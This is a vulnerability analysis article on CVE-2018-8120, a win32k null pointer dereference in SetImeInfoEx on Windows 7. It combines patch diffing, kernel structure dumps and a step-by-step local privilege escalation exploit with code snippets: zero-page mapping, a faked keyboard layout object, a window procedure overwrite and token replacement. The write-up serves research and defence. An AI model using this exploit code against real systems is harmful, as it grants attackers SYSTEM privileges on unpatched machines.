Microsoft shipped and fixed four win32k kernel Escalation of Privilege vulnerabilities in the May security bulletin. This article will discover and analyze one of these vulnerabilities caused by a null pointer dereference fixed by the patch program, and will finally attempt to implement its proof and exploitation code. The analyzing and debugging process will take place in a virtual machine of Windows 7 x86 SP1 basic environment.

To avoid attacks from exploiting this vulnerability, users who are using Windows operating system must install the latest official security updates as soon as possible.

0x0 Abstract

This article discovers and analyzes a kernel Escalation of Privilege vulnerability caused by a null pointer dereference in the win32k kernel module by matching the patch. According to the information released by FortiGuard Labs, the bug is CVE-2018-8120 that was fixed in the May patch. The vulnerability exists in the kernel function SetImeInfoEx. In the case where the pointer field spklList of the target window station has not been validated, the function directly reads the memory address pointed to by the field.

It is possible that the value of field spklList of window station tagWINDOWSTATION object reaches 0. If an user process creates a window station whose filed spklList points to NULL address, and associates the window station with the current process, at the time when calling system service NtUserSetImeInfoEx to set extended IME information, the kernel function SetImeInfoEx would access the memory in zero page which is located in the user address space. The operation of the function will cause the page fault exception, resulting in the occurrence of the system BSOD.

If the exploitation code in the user process allocates zero page memory in advance, to make the zero page mapped, and crafts some fake kernel objects in the zero page, the data in the zero page will be mistaken for a correct keyboard layout tagKL node object by the kernel function, which implements the arbitrary address writing primitive. Using the implemented writing primitive to override the function pointer field of a particular kernel object (such as tagWND), or to modify the relevant flag bits that represent kernel mode or user mode execution, the ability of arbitrary code execution is then implemented, the kernel Escalation of Privilege is achieved ultimately as well.

0x1 Patch

According to comparing the win32k.sys module file in the patch program of the May security bulletin with the file of the April update, it is discovered that such functions are modified in the latest update:


Matching list of modified functions in the patches

With the check of these modified functions one by one, function SetImeInfoEx is noticed that its code block changes as below:


Comparison of function SetImeInfoEx in the patches

The left is the code blocks of function SetImeInfoEx in the May patch, while the right is in the April patch. It is clear that there are some new directly returning judgement code blocks at the beginning of the updated function. Further details of the function are observed in IDA:

Before patch:

  if ( winSta )
  {
    pkl = winSta->spklList;
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == winSta->spklList )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  return bReturn;

After patch:

  if ( winSta && (pklFirst = winSta->spklList) != 0 )
  {
    pkl = winSta->spklList;
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == pklFirst )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  else
  {
    bReturn = 0;
  }
  return bReturn;

By comparing the two code blocks, it can be found that a judgement whether the value of field spklList has reached zero is added in the function in the patch. If so, the function returns directly. Coincidentally, function ReorderKeyboardLayouts in the patched functions list is found having added such judgement code as well. There is good reason to believe that these two patches are likely to fix a null pointer dereference problem that existed in old versions.

0x2 Details

According to the previous patch comparison, the vulnerability is found in function SetImeInfoEx. There is only a reference to function SetImeInfoEx in win32k.sys module which is in system service function NtUserImeInfoEx. System service function NtUserImeInfoEx function is an interface provided by the operating system, which is used to set the input method extension information object defined by the user process to a keyboard layout node object in the window station associated with the current process.


Window Station

A window station object is a securable object, which contains a clipboard, an atom table, and one or more desktop objects. Each window station object exists in the kernel as an instance of structure tagWINDOWSTATION:

kd> dt win32k!tagWINDOWSTATION
   +0x000 dwSessionId      : Uint4B
   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList       : Ptr32 tagDESKTOP
   +0x00c pTerm            : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags      : Uint4B
   +0x014 spklList         : Ptr32 tagKL
   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen    : Ptr32 tagWND
   +0x024 spwndClipViewer  : Ptr32 tagWND
   +0x028 spwndClipOwner   : Ptr32 tagWND
   +0x02c pClipBase        : Ptr32 tagCLIP
   +0x030 cNumClipFormats  : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession   : _LUID
   +0x04c luidUser         : _LUID
   +0x054 psidUser         : Ptr32 Void

Definition of structure tagWINDOWSTATION

Field spklList of the structure is a pointer to the first node of the associated keyboard layout tagKL object linked list. Keyboard layout tagKL structure is defined as below:

kd> dt win32k!tagKL
   +0x000 head             : _HEAD
   +0x008 pklNext          : Ptr32 tagKL
   +0x00c pklPrev          : Ptr32 tagKL
   +0x010 dwKL_Flags       : Uint4B
   +0x014 hkl              : Ptr32 HKL__
   +0x018 spkf             : Ptr32 tagKBDFILE
   +0x01c spkfPrimary      : Ptr32 tagKBDFILE
   +0x020 dwFontSigs       : Uint4B
   +0x024 iBaseCharset     : Uint4B
   +0x028 CodePage         : Uint2B
   +0x02a wchDiacritic     : Wchar
   +0x02c piiex            : Ptr32 tagIMEINFOEX
   +0x030 uNumTbl          : Uint4B
   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE
   +0x038 dwLastKbdType    : Uint4B
   +0x03c dwLastKbdSubType : Uint4B
   +0x040 dwKLID           : Uint4B

Definition of structure tagKL

Field piiex of keyboard layout structure points to the associated extended IME information object. The object pointed to by this field will be used as the target address of the memory copy in function SetImeInfoEx. Field pklNext and pklPrev are pointers to the next and the previous node objects. The keyboard layout object list is linked up by the two pointer fields.

When a window station object is associated with the specified process, its address is stored into field rpwinsta of the target process information tagPROCESSINFO object.

The window station automatically associated with a new process is the interactive window station created by the system, whose field spklList points to a real node of keyboard layout object. When an interactive user logs on, the system associates the interactive window station with the user logon session. A process automatically establishes a connection to a window station when it first calls a USER32 or GDI32 function (other than the window station and desktop functions).

When function CreateWindowStation is being called to create a new window station object, in the end kernel function xxxCreateWindowStation is called in the kernel context to perform the creation operation. During the execution, field spklList of the new window station has not been initialized and will always point to NULL address.


SetImeInfoEx

Kernel function SetImeInfoEx is used to copy the extended IME information tagIMEINFOEX object pointed to by parameter imeInfoEx to the extended IME info buffer pointed to by field piiex of the target keyboard layout tagKL object. Extended IME information tagIMEINFOEX structure is defined as below:

kd> dt win32k!tagIMEINFOEX
   +0x000 hkl              : Ptr32 HKL__
   +0x004 ImeInfo          : tagIMEINFO
   +0x020 wszUIClass       : [16] Wchar
   +0x040 fdwInitConvMode  : Uint4B
   +0x044 fInitOpen        : Int4B
   +0x048 fLoadFlag        : Int4B
   +0x04c dwProdVersion    : Uint4B
   +0x050 dwImeWinVersion  : Uint4B
   +0x054 wszImeDescription : [50] Wchar
   +0x0b8 wszImeFile       : [80] Wchar
   +0x158 fSysWow64Only    : Pos 0, 1 Bit
   +0x158 fCUASLayer       : Pos 1, 1 Bit

Definition of structure tagIMEINFOEX

After probing the memory address of the source tagIMEINFOEX object from parameter, function NtUserSetImeInfoEx retrieves the window station pointer of the current process using _GetProcessWindowStation, and passes the address of the window station and the source tagIMEINFOEX object from parameter into the call of function SetImeInfoEx as the parameters.

if ( *(_BYTE *)gpsi & 4 )
{
  ms_exc.registration.TryLevel = 0;
  v2 = imeInfoEx;
  if ( (unsigned int)imeInfoEx >= W32UserProbeAddress )
    v2 = (tagIMEINFOEX *)W32UserProbeAddress;
  v3 = (char)v2->hkl;
  qmemcpy(&v6, imeInfoEx, 0x15Cu);
  ms_exc.registration.TryLevel = -2;
  v4 = _GetProcessWindowStation(0);
  bReturn = SetImeInfoEx(v4, &v6);
}

Code snippet of function NtUserSetImeInfoEx

The function retrieves the address of the first node object in the keyboard layout tagKL list pointed to by field spklList of the window station object pointed to by parameter winSta. Then the function starts to traverse the tagKL list from the first node, until field spklList of the object points back to the first node. The function judges whether field hkl of each object is equal to field hkl of the source extended IME information object. The two fields are both HKL typed keyboard layout object handle.

When an equal node is matched, it means the match was successful. Then the function judges whether field piiex of target tagKL object points to a real keyboard layout buffer, and wheter the value of field fLoadFlag is FALSE. If so, the address of the keyboard layout buffer pointed to by field piiex will be used as the target address, the data of the source extended IME information object pointed to by parameter imeInfoEx will be copied into the target address.

BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
  [...]
  if ( winSta )
  {
    pkl = winSta->spklList;
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == winSta->spklList )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  return bReturn;
}

Code snippet of function SetImeInfoEx

According to the information obtained in the previous comparsion sections, the patch program adds a judgement whether field spklList of the window object is null in the function. This means that there is a possibility that the field holds a null value. When the value is null, the function reads zero page data directly without any judgement. If the zero page has not been mapped in the current process context, the function will trigger a page fault exception, causing the BSOD to occur in the system.

0x3 Triggering

The previous section analyzes the details of the vulnerability. The next step is to attempt to construct a proof code based on the obtained conditions to reproduce the vulnerability triggering scene.

The triggering of the vulnerability requires the process associated a window station object whose field spklList points to null address. Firstly create such a window station using the interface function CreateWindowStation, and associate the newly created window station object with the current process by calling function SetProcessWindowStation. This eventually causes the address of the new window station to be stored into field rpwinsta of the tagPROCESSINFO object in the current process in the kernel.

SECURITY_ATTRIBUTES sa  = { 0 };
sa.nLength              = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle       = TRUE;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
SetProcessWindowStation(hWinStat);

Proof code of creating and associating window station

Pointer field spklList of the newly created window station object points to null address:

kd> dt win32k!tagWINDOWSTATION 85dfefa8
   +0x000 dwSessionId      : 1
   +0x004 rpwinstaNext     : (null)
   +0x008 rpdeskList       : (null)
   +0x00c pTerm            : 0x94b0eb80 tagTERMINAL
   +0x010 dwWSF_Flags      : 4
   +0x014 spklList         : (null)
   [...]

Field spklList of new window station points to null address

Next, system service function NtUserSetImeInfoEx need to be called in the user process in order to make the execution flow enter function SetImeInfoEx in the kernel.

BOOL __declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
    __asm { mov eax, 1226h };
    __asm { lea edx, [esp + 4] };
    __asm { int 2eh };
    __asm { ret };
}

NtUserSetImeInfoEx interface implemented by proof code

Function NtUserSetImeInfoEx has only one parameter, which is a pointer to the source extended IME information object. Define such a source extended IME information object in the user process and pass the address into the call to function NtUserSetImeInfoEx.

tagIMEINFOEX iiFaked  = { 0 };
bReturn = xxNtUserSetImeInfoEx(&iiFaked);

Proof code of calling NtUserSetImeInfoEx

Since field spklList of the window station object associated with the current process points to null address and the zero page memory where the null address is located is not mapped at this time, when kernel function SetImeInfoEx attempting to access zero page memory an access violation exception would be triggered. The abnormality of the violation resulted in the occurrence of the system BSOD.

Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
9490007c 395014          cmp     dword ptr [eax+14h],edx
kd> r eax
eax=00000000
kd> k
 # ChildEBP RetAddr
00 98a1ba90 9490003d win32k!SetImeInfoEx+0x17
01 98a1bc28 83e471ea win32k!NtUserSetImeInfoEx+0x65
02 98a1bc28 0016f2eb nt!KiFastCallEntry+0x12a
03 3378fbf4 0016f4c5 TempDemo!xxNtUserSetImeInfoEx+0xb
04 3378fdfc 0016f1ca TempDemo!xxTrackExploitEx+0x155

Function SetImeInfoEx accessing zero page memory results in access violation

0x4 Exploitation

The previous section analyzed the details of the vulnerability and constructed the proof code for the vulnerability. Next, according to the proof code, the kernel exploit code with this vulnerability will be implemented.


Implementation of Arbitrary Address Writing

Window station object is a kind of kernel object. Under normal circumstances, user processes can only control the member data of kernel objects extremely limited with only a set of specific interface functions. When some members of a kernel object accidentally points to a memory address in user address space, such as null address, the exploitation code in the user process will be able to achieve a greater range of control by allocating such a memory page and using specific memory layouts.

In the exploitation code, a memory block whose base address in the zero page memory should be firstly allocated to make the zero page mapped.

PVOID  MemAddr  = (PVOID)1;
SIZE_T MemSize  = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(),
    &MemAddr,
    0,
    &MemSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);
ZeroMemory(MemAddr, MemSize);

Exploitation code allocating zero page memory

The next step is to construct the data in the zero page to satisfy the access condition of function SetImeInfoEx. Since field spklList of window station object points to a tagKL typed object, it is needed to treat the memory block starting from null address as a tagKL typed object, as well as to initialize several critical fields.

DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked;     // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked;     // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)0xCCCCCCCC;  // tagKL->piiex

Initializing the fake tagKL object

Function SetImeInfoEx traverses the list via field pklNext of each tagKL node object as the index, and matches field hkl. So field pklNext of faked tagKL object should be set to the base address of the faked object itself, while field hkl should be set to the same value as field hkl of the source extended IME information object.

When the matched tagKL node object is found, function SetImeInfoEx writes the data of the source tagIMEINFOEX object from parameter into the buffer pointed to by field piiex of the target tagKL object. The arbitrary address writing primitive would be implemented.


Implementation of Arbitrary Code Execution

The most common way of kernel privilege escalation is to replace the Token pointer of the current process EPROCESS object with the one of System process. Unfortunately, up to now, the arbitrary address writing primitive has been implemented, but the arbitrary address reading primitive not, which makes it more difficult to replace the Token pointer of the process.

An easy way is to replace the function pointer field of a kernel object with the address of a function that is implemented by the code in the user address space as well as to modify the relevant flag bits that represent kernel state or user state execution using the arbitrary address writing primitive, so that the function code in the user address space would be executed directly in the kernel when the object handling specific events, and the kernel privilege escalation would be finally implemented in the function. In this analysis it would be implemented by replacing the message procedure pointer field lpfnWndProc of target window tagWND object.

The following ideas are: at first create a normal window object, and fill the source tagIMEINFOEX structure with part of data of the window object, then set member flag bit bServerSideWindowProc of window object in the source tagIMEINFOEX structure; secondly make field piiex of the faked tagKL object in the null page memory point to the kernel address of target window object, so that the modified data of window object in the source tagIMEINFOEX structure would be used to overwrite the original data of target window object. Changes to specific fields of target window object would be implemented as well.


Position correspondences between tagIMEINFOEX and tagWND

Firstly create a normal window object as the target window object. Based on the previous analysis, function SetImeInfoEx takes the size of tagIMEINFOEX object as the copy scope when copying. The size of tagIMEINFOEX structure is 0x15C bytes, which is much bigger than the size of tagWND object. So in order to avoid the out-of-bounds access to subsequent unknown memory regions when the memory copy is executed, sufficient extra area size must be specified when registering the window class to let the full size of the window object bigger than 0x15C bytes.

WNDCLASSEXW wc    = { 0 };
wc.cbSize         = sizeof(WNDCLASSEXW);
wc.lpfnWndProc    = DefWindowProcW;
wc.cbWndExtra     = 0x100;
wc.hInstance      = GetModuleHandleA(NULL);
wc.lpszMenuName   = NULL;
wc.lpszClassName  = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
    NULL,
    WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP,
    0,
    0,
    0,
    0,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

Exploitation code creating normal window object

Function SetImeInfoEx judges the value of field fLoadFlag of target extended IME information object at 0x48 byte offset. If the value is not FALSE, the function would not execute the following copying operation.

Field piiex of the faked tagKL object points to the kernel address of target window object. The field at 0x48 byte offset in window object is subfield right of member structure tagRECT rcWindow. It is only when parameter dwStyle passed into function CreateWindowEx is set to WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP would each subfield (such as right) of member structure rcWindow of the created window object be able to be 0.

kd> ? poi(poi(0x0+0x2c)+0x48)
Evaluate expression: 0 = 00000000
kd> dt win32k!tagRECT poi(0x0+0x2c)+0x40
   +0x000 left             : 0n0
   +0x004 top              : 0n0
   +0x008 right            : 0n0
   +0x00c bottom           : 0n0

All fields of structure tagRECT rcWindow are set to zero

The next step is to retrieve the user mapped address and kernel address of the created window object using HMValidateHandle object address leak technique. Detailed information about this technique is referenced in the literature list in "Links" section.

Copy the data of the same size of tagIMEINFOEX structure from the user mapped address into the source tagIMEINFOEX structure defined by the exploitation code. The retrieved kernel address of target window object is used to be the address pointed to by field piiex of the faked tagKL object in the null page memory.

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
pwndHunt = head->pSelf;
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));

DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked;     // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked;     // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)pwndHunt;    // tagKL->piiex

Exploitation code copying and initializing member data

The field of tagWND structure which is corresponding to field hkl of tagIMEINFOEX structure is exactly the window object handle.

Next, modify the fields of window object in the sourcetagIMEINFOEX object. Set member flag bit bServerSideWindowProc inside and modify the value of pointer field lpfnWndProc.

*(DWORD *)((PBYTE)&iiFaked + 0x14) |= (DWORD)0x40000;          //->bServerSideWindowProc
*(DWORD *)((PBYTE)&iiFaked + 0x60) = (DWORD)xxPayloadWindProc; //->lpfnWndProc

Exploitation code modifying data of window object

As thus, when the call of system service NtUserSetImeInfoEx is executed, the modified member data of the window object in the source tagIMEINFOEX structure would be used to overwrite the memory block of the target window object. After that when sending messages to target window object, kernel function xxxSendMessageTimeout would calls custom message procedure xxPayloadWindProc directly in the kernel context according to the set member flag bit bServerSideWindowProc.


Implementation of Kernel Privilege Escalation

After the member flag bit bServerSideWindowProc is set and the message procedure field of window object is modified to the address of the custom message procedure defined by the user process, when sending messages to target window object, the system would enter the custom message procedure directly in the kernel to handle messages.

In the custom message procedure, according to the current window object pointed to by parameter pwnd, the address of associated thread information tagTHREADINFO object can be retrieved. The address of the current process EPROCESS object can be located at last. The next step is to locate the System process EPROCESS object, and retrieve the Token pointer of the System EPROCESS object, followed replacing the Token pointer of the current EPROCESS object with the System Token pointer.

The final step is to increment the pointer reference count in the object header of the System Token object. When the function that sends the message returns to the user process, a new command prompt process need to be created.


Newly created process belongs to System identity

It can be observed that the newly created command prompt process has belonged to System user identity.


Postscript

According to the information in the security bulletin, this vulnerability occurs in Windows 7 SP1 and Windows Server 2008 version operating systems. This is because that Starting with Windows 8, in the new version operating systems Microsoft introduced a new mitigation to prevent user processes from allocating zero page memory. This kind of vulnerability will not be exploited successfully in the new systems any longer.

2018/5/15: Up to now, a sample file has already appeared on VirusTotal platform which is detected as CVE-2018-8120 exploitation by multiple AntiVirus products.


Sample file detected as CVE-2018-8120 on VirusTotal

Therefore, to avoid attacks from exploiting this vulnerability and to ensure that they are not affected by the exploitations, users who are using Windows 7 operating system must install the latest official security updates as soon as possible. According to analyzing the sample file on VirusTotal, it is found that the sample leaks the Token pointer of System process using PsReferencePrimaryToken(*PsInitialSystemProcess) and then writes the leaked pointer into the EPROCESS object of the current process using the arbitrary address writing primitive and GDT rewriting/callgate exploit technique. It's another way to exploit.

0x5 Links

Translated from my Chinese article: https://xiaodaozhi.com/exploit/149.html

[0] The proof of concept of this analysis

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2018-8120/x86.cpp

[1] MS.Windows.Win32k.NtUserSetImeInfoEx.Privilege.Escalation

https://fortiguard.com/encyclopedia/ips/46028

[2] Window Stations

https://msdn.microsoft.com/en-us/library/windows/desktop/ms687096(v=vs.85).aspx

[3] CVE-2015-2546 UAF ANALYSIS AND EXPLOITATION

https://xiaodaozhi.com/exploit/132.html

[4] sam-b/windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

[5] Mitigating the Exploitation of Vulnerabilities that Allow Diverting Kernel Execution Flow in Windows

https://securityintelligence.com/exploitation-vulnerabilities-allow-diverting-kernel-execution-flow-windows/

[6] Window Styles

https://msdn.microsoft.com/zh-CN/library/windows/desktop/ms632600(v=vs.85).aspx

文章链接: https://xiaodaozhi.com/exploit/156.html